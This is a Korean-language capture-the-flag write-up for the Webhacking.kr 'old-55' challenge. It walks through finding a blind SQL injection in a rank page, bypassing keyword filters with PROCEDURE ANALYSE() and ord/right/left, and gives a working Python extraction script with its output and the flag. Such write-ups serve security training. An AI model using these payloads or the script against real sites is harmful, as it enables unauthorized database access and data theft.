Webhacking.kr old-55 Write-Up

Webhacking.kr old-55 Write-Up

in

Webhacking.kr old-55 Write Up 입니다.

Analysis

처음 화면은 다음과 같습니다. image

초록색 슬라임이 마우스 커서를 따라다니는데, 잡히면 GAME OVER 메시지와 함께 아래의 패킷을 요청합니다.
점수를 서버로 전송하는 과정으로 보입니다.

POST /challenge/web-31/ HTTP/1.1
Host: webhacking.kr
...

score=115&mx=185&my=97

rank 버튼을 눌러서 rank.php 페이지로 갈 수 있습니다.
image

가장 하단에는 아래와 같이 스코어 등록 시 사용되는 쿼리문이 적혀있습니다.

mysqli_query($db,"insert into chall55 values('{$_SESSION['id']}','".trim($_POST['score'])."','{$flag}')");

Insert 구문의 SQL Injection으로 추측하였으나, 삽입 지점이 중간이며, 플래그는 맨 끝에 존재하여 Multi Row Insert를 이용한 방법으로는 값을 알아낼 수 없었습니다.

등록된 rank.php에서 score 파라미터를 보내 해당 스코어에 일치되는 유저를 검색할 수 있습니다. image

https://webhacking.kr/challenge/web-31/rank.php?score=2147483647

score 파라미터에 “1 and 1” 값을 보냅니다. image ?score=1 and 1

id : Piterpan // 1

이번에는 “1 and 0” 값을 보냅니다. image ?score=1 and 0

id : //

“1 and sleep(1)”등의 값을 넣었을때도 sleep 함수가 동작하며, 해당 부분이 Injection Point 입니다.

추가적으로, 아래 문자에 필터링이 걸려 있습니다. 해당 필터링을 우회하여 Blind SQL Injection을 시도할 수 있습니다.

select
substr
mid
ascii
'
"

image Injection Filtering

Solution

Select 문자가 필터링 되어있기 때문에 Union SQl Injection은 제한이 있기 때문에 Blind SQL Injection을 시도합니다.

flag가 담긴 Column 이름 찾기

Blide SQL Injection을 시도하기 전, 컬럼의 이름을 알아내야 하는데 역시 Select 문자를 사용할 수 없어 일반적인 방법으로는 불가능합니다. 또한 0을 제외한 모든 숫자가 True로 수렴하는 특징을 이용하여 length(secret) 등으로 컬럼이름을 유추해 보았으나, 쉽지 않았습니다.

select가 사용불가 하며, 별도 Error를 출력하지 않는 환경에서는 “Procedure Analyse()” 를 사용하여 컬럼이름을 알아낼 수 있습니다. 단, 해당 방법은 사용자가 입력한 구문을 해석하여 별도로 출력해주는 부분이 있어야 유효합니다.

해당 페이지는 위 조건에 부합했기 때문에 “Procedure Analyse()“를 사용하여 컬럼의 이름을 알아낼 수 있었습니다. 참고로, “Procedure Analyse()”는 limit 절 뒤에 위치하며, limit을 이용하여 세번째 컬럼을 출력하도록 하였습니다.

/rank.php?score=1 limit 2, 1 procedure analyse()

image 1 limit 2, 1 procedure analyse()

출력은 [db].[table].[column] 형태이기 때문에 플래그가 담긴 컬럼은 “p4ssw0rd_1123581321” 입니다.

id : webhacking.chall55.p4ssw0rd_1123581321 //

flag 길이 및 값 알아내기

flag의 길이는 다음과 같은 페이로드로 알아냅니다.

1 and length(p4ssw0rd_1123581321) = [length]

flag의 값은 다음과 같은 페이로드로 알아냅니다.
ascii 함수 필터링은 ord로, substr과 mid 함수의 필터링은 right와 left 함수를 이용하여 우회했습니다.

1 and ord(right(left(p4ssw0rd_1123581321,[index]),1)) = [ascii_number]

위 자료를 토대로 스크립트를 작성합니다.

#!/usr/bin/python3
import requests

url = 'https://webhacking.kr/challenge/web-31/rank.php' 

def exploit(query):
    c = requests.get(url + "?score=" + query)
    print(url + "?score=" + query)
    if "Piterpan" in c.text:
        return True
    else:
        return False

def get_length():
    for len in range(1, 50):
        req_url = url + f"?score=1 and length(p4ssw0rd_1123581321)"
        if exploit(f"1 and length(p4ssw0rd_1123581321) = {len}"):
            return len

def get_string(flag_len):
    data = ''
    for l in range(1, flag_len+1):
        for char_num in range(32, 128):
            if exploit(f"1 and ord(right(left(p4ssw0rd_1123581321, {l}), 1)) = {char_num}"):
                data += chr(char_num)
                print(data)
                break;

    return data

if __name__ == '__main__':
    flag_len = get_length()
    print (f"[+] flag length is {flag_len}")
    flag_string = get_string(flag_len)
    print (f"[+] flag value string is {flag_string}")

해당 스크립트를 실행하면 플래그 값을 얻을 수 있습니다.

$ ./exploit.py
https://webhacking.kr/challenge/web-31/rank.php?score=1 and length(p4ssw0rd_1123581321) = 1
...
https://webhacking.kr/challenge/web-31/rank.php?score=1 and length(p4ssw0rd_1123581321) = 31
[+] flag length is 31

https://webhacking.kr/challenge/web-31/rank.php?score=1 and ord(right(left(p4ssw0rd_1123581321, 1), 1)) = 1
...
https://webhacking.kr/challenge/web-31/rank.php?score=1 and ord(right(left(p4ssw0rd_1123581321, 31), 1)) = 125
FLAG{easy_peasy_lemon_squeezy!}
[+] flag value string is FLAG{...}